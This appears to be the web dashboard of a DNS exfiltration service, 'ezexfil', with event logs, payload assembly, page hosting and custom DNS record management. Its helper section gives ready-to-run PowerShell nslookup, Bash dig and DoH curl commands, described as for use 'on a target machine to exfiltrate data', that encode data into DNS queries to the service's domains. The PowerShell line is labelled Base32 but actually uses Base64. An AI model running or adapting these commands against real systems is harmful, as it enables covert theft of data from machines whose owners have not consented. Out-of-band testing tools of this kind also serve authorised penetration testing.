⧉
▶ Show quick commands
Exfiltration Events List
Filter by Source:
# Time Query Source Type Client

Payload Generator Helpers

Run these commands on a target machine to exfiltrate data (e.g. the string "hello_world") using Base32:

PowerShell (Windows)

$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("hello_world")).Replace("=","").ToLower(); nslookup ("$data.a2xgcuujb2pn7g2m.ezexfil.com")
⧉

Linux Bash (dig loop)

data=$(echo -n "hello_world" | base32 | tr -d '=' | tr 'A-Z' 'a-z'); dig "$data.a2xgcuujb2pn7g2m.ezexfil.com"
⧉

DNS-over-HTTPS (DoH) curl

curl -v "http://www.cultofnull.com/dns-query?dns=q80BIAABAAAAAAAABWRhdGE1EGFnY2RlMTIzNDVhYmNkZTEMZXpleGZpbDNDb20AAAEAAQ"
⧉

Payload Assembler

Reconstruct data exfiltrated in DNS labels. Note: Requires permission to view raw queries.

Host a New Page/File

Quick Insert:

Expected normal value (e.g. secret.txt, prod, 1).

Inserted into only when requested parameter differs from default above.

Active Hosted Pages

Path Status Content-Type Public URL Action
No hosted pages found. Create one above!

Add Custom DNS Record (TXT, A, CNAME, MX)

Host custom DNS records (such as SPF, DKIM, TXT payloads, custom A records, CNAMEs) for any of your registered domains.

📖 Prefix Cheat-Sheet

Prefix Matches Example query Use-case
@ Root / apex domain dig TXT ezexfil.com SPF, DMARC, domain ownership verification
* Any subdomain (wildcard, not apex) dig TXT anything.ezexfil.com Catch-all for unknown subdomains
data Exact subdomain data.<domain> dig TXT data.ezexfil.com Named sub-zone for a specific payload
_spf Exact subdomain _spf.<domain> dig TXT _spf.ezexfil.com SPF helper record
_dmarc Exact subdomain _dmarc.<domain> dig TXT _dmarc.ezexfil.com DMARC policy record
mail Exact subdomain mail.<domain> dig A mail.ezexfil.com Point mail subdomain at a custom IP

Priority: exact prefix beats wildcard *. Wildcards never match the apex (@). Multiple records with the same prefix/type are all returned.

Active Custom DNS Records

Prefix / Subdomain Type Value / Content TTL Actions
No custom DNS records added yet.

Register Additional Domains

Point your domain's Name Servers (NS) to ns1.ezexfil.xyz and ns2.ezexfil.xyz, then add the domain name below to authorize dynamic DNS exfiltration and automatic SSL certificate generation.

Registered Domains

Domain Name Status Action
Loading domains...